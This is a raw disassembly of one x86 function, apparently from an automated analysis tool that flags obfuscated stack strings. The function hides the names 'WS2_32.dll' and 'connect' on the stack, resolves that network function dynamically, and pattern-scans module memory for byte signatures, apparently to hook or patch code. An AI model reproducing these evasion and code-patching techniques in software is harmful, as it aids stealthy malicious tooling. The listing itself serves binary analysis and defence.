Function at 0x20001f86
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push ebx
push esi
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
lea eax, [ebp - 0x6c]
xor ebx, ebx
push eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x8c], 0x5f325357
mov dword [ebp - 0x88], 0x642e3233
mov dword [ebp - 0x84], 0x6c6c
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x6c], 0x6e6e6f63
mov dword [ebp - 0x68], 0x746365
mov dword [ebp - 0x64], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add eax, 5
push ebx
mov dword [0x20006674], eax
call fcn.20002f29
mov esi, eax
push esi
call fcn.20002f4e
pop ecx
cmp esi, ebx
pop ecx
mov edi, eax
je 0x2000230e
cmp edi, ebx
je 0x2000230e
push ebx
lea eax, [ebp - 0x14]
push 6
push eax
push edi
push esi
mov byte [ebp - 0x14], 0x8d
mov byte [ebp - 0x13], 0x44
mov byte [ebp - 0x12], 0x24
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x53
call fcn.20002fbd
add eax, 6
add esp, 0x14
cmp eax, 0xffffffff
je 0x2000204d
add eax, esi
mov dword [0x200064b4], eax
jmp 0x2000205a
mov dword [ebp - 4], 1
mov dword [0x200064b4], ebx
push ebx
lea eax, [ebp - 0x7c]
push 0xe
push eax
push edi
push esi
mov byte [ebp - 0x7c], 0xf6
mov byte [ebp - 0x7b], 0x81
mov byte [ebp - 0x7a], 0xa0
mov byte [ebp - 0x79], 1
mov byte [ebp - 0x78], bl
mov byte [ebp - 0x77], bl
mov byte [ebp - 0x76], 1
mov byte [ebp - 0x75], 0x75
mov byte [ebp - 0x74], 5
mov byte [ebp - 0x73], 0x33
mov byte [ebp - 0x72], 0xc0
mov byte [ebp - 0x71], 0xc2
mov byte [ebp - 0x70], 4
mov byte [ebp - 0x6f], bl
call fcn.20002fbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x200020ae
add eax, esi
mov dword [0x20006aac], eax
jmp 0x200020b7
inc dword [ebp - 4]
mov dword [0x200064b4], ebx
push ebx
lea eax, [ebp - 0x30]
push 9
push eax
push edi
push esi
mov byte [ebp - 0x30], 0x33
mov byte [ebp - 0x2f], 0xc4
mov byte [ebp - 0x2e], 0x89
mov byte [ebp - 0x2d], 0x84
mov byte [ebp - 0x2c], 0x24
mov byte [ebp - 0x2b], 0x90
mov byte [ebp - 0x2a], 2
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], bl
call fcn.20002fbd
sub eax, 0xb
add esp, 0x14
cmp eax, 0xffffffff
je 0x200020fb
add eax, esi
mov dword [0x20006640], eax
jmp 0x20002104
inc dword [ebp - 4]
mov dword [0x20006640], ebx
push ebx
lea eax, [ebp - 0x60]
push 0xc
push eax
push edi
push esi
mov byte [ebp - 0x60], 0x8b
mov byte [ebp - 0x5f], 0x86
mov byte [ebp - 0x5e], 0x88
mov byte [ebp - 0x5d], 2
mov byte [ebp - 0x5c], bl
mov byte [ebp - 0x5b], bl
mov byte [ebp - 0x5a], 0x8b
mov byte [ebp - 0x59], 0xc
mov byte [ebp - 0x58], 0xb8
mov byte [ebp - 0x57], 0x8d
mov byte [ebp - 0x56], 4
mov byte [ebp - 0x55], 0xb8
call fcn.20002fbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x20002153
lea eax, [eax + esi + 0xc]
mov dword [0x20006570], eax
jmp 0x2000215c
inc dword [ebp - 4]
mov dword [0x20006570], ebx
push ebx
lea eax, [ebp - 0x24]
push 7
push eax
push edi
push esi
mov byte [ebp - 0x24], 0x8b
mov byte [ebp - 0x23], 0x11
mov byte [ebp - 0x22], 0x8b
mov byte [ebp - 0x21], 0x42
mov byte [ebp - 0x20], 0x30
mov byte [ebp - 0x1f], 0x6a
mov byte [ebp - 0x1e], bl
call fcn.20002fbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x2000219e
add eax, esi
mov dword [0x20006648], eax
mov eax, dword [eax - 4]
mov dword [0x200064e0], eax
jmp 0x200021a7
inc dword [ebp - 4]
mov dword [0x20006648], ebx
push ebx
lea eax, [ebp - 0x3c]
push 0xa
push eax
push edi
push esi
mov byte [ebp - 0x3c], 0x2b
mov byte [ebp - 0x3b], 0xc7
mov byte [ebp - 0x3a], 0x50
mov byte [ebp - 0x39], 0x52
mov byte [ebp - 0x38], 0x8d
mov byte [ebp - 0x37], 0x8e
mov byte [ebp - 0x36], 0x70
mov byte [ebp - 0x35], 2
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
call fcn.20002fbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x200021ec
add eax, esi
mov dword [0x20006ab4], eax
jmp 0x200021f5
inc dword [ebp - 4]
mov dword [0x20006ab4], ebx
push ebx
lea eax, [ebp - 0xc]
push 5
push eax
push edi
push esi
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x57
mov byte [ebp - 0xa], 0x6a
mov byte [ebp - 9], bl
mov byte [ebp - 8], 0x50
call fcn.20002fbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x20002227
add eax, esi
mov dword [0x200052b0], eax
jmp 0x20002230
inc dword [ebp - 4]
mov dword [0x200052b0], ebx
push ebx
lea eax, [ebp - 0x48]
push 0xa
push eax
push edi
push esi
mov byte [ebp - 0x48], 0x83
mov byte [ebp - 0x47], 0xc4
mov byte [ebp - 0x46], 0xc
mov byte [ebp - 0x45], 0x83
mov byte [ebp - 0x44], 0xbe
mov byte [ebp - 0x43], 0x28
mov byte [ebp - 0x42], 2
mov byte [ebp - 0x41], bl
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
call fcn.20002fbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x20002274
add eax, esi
mov dword [0x20006644], eax
jmp 0x2000227d
inc dword [ebp - 4]
mov dword [0x20006644], ebx
push ebx
lea eax, [ebp - 0x54]
push 0xb
push eax
push edi
push esi
mov byte [ebp - 0x54], 0x83
mov byte [ebp - 0x53], 0xc4
mov byte [ebp - 0x52], 0x18
mov byte [ebp - 0x51], 0xc7
mov byte [ebp - 0x50], 0x44
mov byte [ebp - 0x4f], 0x24
mov byte [ebp - 0x4e], 0x50
mov byte [ebp - 0x4d], 0xf
mov byte [ebp - 0x4c], bl
mov byte [ebp - 0x4b], bl
mov byte [ebp - 0x4a], bl
call fcn.20002fbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x200022c5
add eax, esi
mov dword [0x200066a8], eax
jmp 0x200022ce
inc dword [ebp - 4]
mov dword [0x200066a8], ebx
push ebx
lea eax, [ebp - 0x1c]
push 6
push eax
push edi
push esi
mov byte [ebp - 0x1c], 0x8d
mov byte [ebp - 0x1b], 0x4c
mov byte [ebp - 0x1a], 0x24
mov byte [ebp - 0x19], 8
mov byte [ebp - 0x18], 0x51
mov byte [ebp - 0x17], 0x57
call fcn.20002fbd
add esp, 0x14
cmp eax, 0xffffffff
je 0x20002305
add eax, esi
mov dword [0x20006488], eax
jmp 0x2000230e
inc dword [ebp - 4]
mov dword [0x20006488], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret